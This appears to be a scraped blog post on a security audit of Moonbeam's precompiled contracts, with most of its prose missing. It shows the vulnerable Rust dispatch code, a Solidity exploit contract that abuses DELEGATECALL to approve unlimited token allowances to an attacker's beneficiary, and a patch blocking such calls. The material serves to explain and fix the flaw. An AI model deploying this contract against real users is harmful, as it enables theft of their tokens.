Edition of series on security audits: Risk of precompiled contracts

By akohad Apr14,2023

[ad_1]

So, what exactly is a precompiled contract?

Moonbeam’s pre-compiled contract’s security flaw

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
match handle.code_address() {
// Ethereum precompiles :
a if a == hash(1) => Some(ECRecover::execute(handle)),
a if a == hash(2) => Some(Sha256::execute(handle)),
a if a == hash(3) => Some(Ripemd160::execute(handle)),
a if a == hash(5) => Some(Modexp::execute(handle)),
a if a == hash(4) => Some(Identity::execute(handle)),
a if a == hash(6) => Some(Bn128Add::execute(handle)),
a if a == hash(7) => Some(Bn128Mul::execute(handle)),
a if a == hash(8) => Some(Bn128Pairing::execute(handle)),
a if a == hash(9) => Some(Blake2F::execute(handle)),
a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)),
a if a == hash(1025) => Some(Dispatch::<R>::execute(handle)),
a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)),
a if a == hash(2048) => Some(ParachainStakingWrapper::<R>::execute(handle)),
a if a == hash(2049) => Some(CrowdloanRewardsWrapper::<R>::execute(handle)),
a if a == hash(2050) => Some(
Erc20BalancesPrecompile::<R, NativeErc20Metadata>::execute(handle),
),
a if a == hash(2051) => Some(DemocracyWrapper::<R>::execute(handle)),
a if a == hash(2052) => Some(XtokensWrapper::<R>::execute(handle)),
a if a == hash(2053) => Some(
RelayEncoderWrapper::<R, WestendEncoder>::execute(handle)
),
a if a == hash(2054) => Some(XcmTransactorWrapper::<R>::execute(handle)),
a if a == hash(2055) => Some(AuthorMappingWrapper::<R>::execute(handle)),
a if a == hash(2056) => Some(BatchPrecompile::<R>::execute(handle)),
// If the address matches asset prefix, the we route through the asset precompile set
a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
Erc20AssetsPrecompileSet::<R, IsForeign, ForeignAssetInstance>::new()
.execute(handle)
}
// If the address matches asset prefix, the we route through the asset precompile set
a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
Erc20AssetsPrecompileSet::<R, IsLocal, LocalAssetInstance>::new().execute(handle)
}
_ => None,
}
}

Phishing attack methodology using the vulnerability

pragma solidity >=0.8.0;

contract ExploitFlashSwap {
address asset;
address beneficiary;
constructor(address _asset, address _beneficiary) {
asset = _asset;
beneficiary = _beneficiary;
}
function stealLater() external {
(bool success,) = asset.delegatecall(
abi.encodeWithSignature(
"approve(address,uint256)",
beneficiary,
(uint256)(int256(-1))
)
);
require(success,"approve");
}

function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
stealLater();
}
}

How to fix this glitch?

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
// Filter known precompile addresses except Ethereum officials
if self.is_precompile(handle.code_address())
&& handle.code_address() > hash(9)
&& handle.code_address() != handle.context().address
{
return Some(Err(revert(
"cannot be called with DELEGATECALL or CALLCODE",
)));
}

match handle.code_address() {
......

[ad_2]

Source link

By akohad

Related Post

Leave a Reply

Your email address will not be published. Required fields are marked *